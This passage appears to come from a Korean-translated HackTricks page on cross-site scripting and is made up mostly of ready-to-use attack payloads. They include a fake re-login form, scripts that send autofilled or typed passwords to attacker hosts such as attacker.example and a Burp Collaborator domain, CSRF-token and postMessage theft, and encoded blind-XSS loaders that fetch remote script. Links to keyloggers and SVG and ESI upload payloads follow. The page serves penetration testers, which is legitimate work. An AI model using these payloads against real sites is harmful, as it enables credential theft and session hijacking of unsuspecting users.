s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
짧은 시간은 포트가 응답함을 나타냅니다 긴 시간은 응답 없음(응답하지 않음을) 나타냅니다.
Chrome에서 차단된 포트 목록은 here에서 확인하세요. Firefox의 목록은 here에서 확인하세요.
credentials 요청 박스
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
자동 완성 비밀번호 탈취
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
페이지에서 중요한 handler(예: function DoLogin(){...})가 나중에 선언되고, payload가 더 일찍 실행되는 경우(예: via an inline JS-in-JS sink), 동일한 이름의 const를 먼저 정의하여 handler를 선점하고 잠글 수 있습니다. 이후의 function 선언은 const 이름을 재바인딩할 수 없으므로, 당신의 hook이 제어권을 유지하게 됩니다:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
노트
- 이것은 실행 순서에 의존합니다: your injection이 정상 선언보다 먼저 실행되어야 합니다.
- your payload이
eval(...)로 감싸져 있으면const/let바인딩은 글로벌이 되지 않습니다. 실제 전역(재바인딩 불가능) 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”에 있는 동적<script>injection 기법을 사용하세요. - 키워드 필터가 코드를 차단할 경우, 위에 보여준 것처럼 Unicode-escaped identifiers 또는
eval(atob('...'))전달 방식과 결합하세요.
Keylogger
github에서 간단히 검색해보니 몇 가지가 나왔습니다:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- 또한 metasploit의
http_javascript_keylogger를 사용할 수도 있습니다
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage 메시지 탈취
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
다음도 사용할 수 있습니다: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 숨겨진 콘텐츠 접근
From this writeup를 통해 알 수 있듯이, 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 찾을 수 있다. 예를 들어, REGEX의 입력값은 해당 입력값이 제거된 이후에도 여전히 찾을 수 있다:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS를 이용한 다른 취약점
Markdown에서의 XSS
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS를 얻을 수 있습니다! 확인:
XSS를 SSRF로
캐싱을 사용하는 사이트에서 XSS를 찾았나요? Edge Side Include Injection을 통해 이걸 SSRF로 업그레이드하려면 다음 payload를 시도하세요:
<esi:include src="http://yoursite.com/capture" />
이를 사용하여 cookie 제한, XSS 필터 등을 우회할 수 있습니다!
More information about this technique here: XSLT.
XSS in dynamic created PDF
웹 페이지가 사용자 제어 입력을 사용해 PDF를 생성한다면, PDF를 생성하는 봇을 속여 임의의 JS 코드를 실행하게 만들 수 있습니다.
따라서 PDF 생성 봇이 어떤 종류의 HTML 태그를 발견하면 이를 해석하게 되고, 이 동작을 악용해 서버 XSS를 일으킬 수 있습니다.
HTML 태그를 주입할 수 없다면 PDF 데이터 주입을 시도해 볼 가치가 있습니다:
XSS in Amp4Email
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하는 것을 목표로 하며, 속도와 보안을 중시하면서 JavaScript로 보완된 HTML 태그를 통합합니다. 다양한 기능을 위한 여러 구성요소를 지원하며, 이는 AMP components에서 확인할 수 있습니다.
The AMP for Email 형식은 특정 AMP 구성요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있게 합니다.
Example writeup XSS in Amp4Email in Gmail.
XSS uploading files (svg)
다음과 같은 파일을 이미지로 업로드하세요 (출처: http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
다음에서 더 많은 SVG payloads를 확인하세요 https://github.com/allanlw/svg-cheatsheet
기타 JS 트릭 및 관련 정보
Misc JS Tricks & Relevant Info
XSS 리소스
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
참고자료
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks